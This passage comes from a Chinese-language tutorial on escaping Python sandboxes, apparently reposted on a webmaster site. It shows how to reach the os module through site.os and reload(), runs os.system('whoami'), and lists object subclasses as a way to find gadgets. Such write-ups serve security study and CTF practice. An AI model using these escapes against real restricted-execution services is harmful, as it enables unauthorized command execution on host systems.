| 由于没法直接引入 os,那么假如有个库叫oos,在oos中引入了os,那么我们就可以通过__globals__拿到  os(__globals__是函数所在的全局命名空间中所定义的全局变量)。例如,site 这个库就有 os: >>> import site >>> site.os <module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'> 
 也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site。可以利用  reload,变相加载 os: >>> import site >>> os Traceback (most recent call last):   File "<stdin>", line 1, in <module> NameError: name 'os' is not defined >>> os = reload(site.os) >>> os.system('whoami') macr0phag3 0 
 还有,既然所有的类都继承的object,那么我们先用__subclasses__看看它的子类,以 2.x 为例: >>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i ... (0, <type 'type'>) (1, <type 'weakref'>) (2, <type 'weakcallableproxy'>) (3, <type 'weakproxy'>) (4, <type 'int'>) (5, <type 'basestring'>) (6, <type 'bytearray'>) (7, <type 'list'>) (8, <type 'NoneType'>) (9, <type 'NotImplementedType'>) (10, <type 'traceback'>) (11, <type 'super'>) (12, <type 'xrange'>) (13, <type 'dict'>) (14, <type 'set'>) (15, <type 'slice'>) (16, <type 'staticmethod'>) (17, <type 'complex'>) (18, <type 'float'>) (19, <type 'buffer'>) (20, <type 'long'>) (21, <type 'frozenset'>) (22, <type 'property'>) (23, <type 'memoryview'>) (24, <type 'tuple'>) (25, <type 'enumerate'>) (26, <type 'reversed'>) (27, <type 'code'>) (28, <type 'frame'>) (29, <type 'builtin_function_or_method'>) (30, <type 'instancemethod'>) (31, <type 'function'>) (32, <type 'classobj'>) (33, <type 'dictproxy'>) (34, <type 'generator'>) (35, <type 'getset_descriptor'>) (36, <type 'wrapper_descriptor'>) (37, <type 'instance'>) (38, <type 'ellipsis'>) (39, <type 'member_descriptor'>) (40, <type 'file'>) (41, <type 'PyCapsule'>) (42, <type 'cell'>) (43, <type 'callable-iterator'>) (44, <type 'iterator'>) (45, <type 'sys.long_info'>) (46, <type 'sys.float_info'>) (47, <type 'EncodingMap'>) (48, <type 'fieldnameiterator'>) (49, <type 'formatteriterator'>) (50, <type 'sys.version_info'>) (51, <type 'sys.flags'>) (52, <type 'exceptions.BaseException'>) (53, <type 'module'>) (54, <type 'imp.NullImporter'>) (55, <type 'zipimport.zipimporter'>) (56, <type 'posix.stat_result'>) (57, <type 'posix.statvfs_result'>) (58, <class 'warnings.WarningMessage'>) (59, <class 'warnings.catch_warnings'>) (60, <class '_weakrefset._IterationGuard'>) (61, <class '_weakrefset.WeakSet'>) (62, <class '_abcoll.Hashable'>) (63, <type 'classmethod'>) (64, <class '_abcoll.Iterable'>) (65, <class '_abcoll.Sized'>) (66, <class '_abcoll.Container'>) (67, <class '_abcoll.Callable'>) (68, <type 'dict_keys'>) (69, <type 'dict_items'>) (70, <type 'dict_values'>) (71, <class 'site._Printer'>) (72, <class 'site._Helper'>) (73, <type '_sre.SRE_Pattern'>) (74, <type '_sre.SRE_Match'>) (75, <type '_sre.SRE_Scanner'>) (76, <class 'site.Quitter'>) (77, <class 'codecs.IncrementalEncoder'>) (78, <class 'codecs.IncrementalDecoder'>) 
 (编辑:南平站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |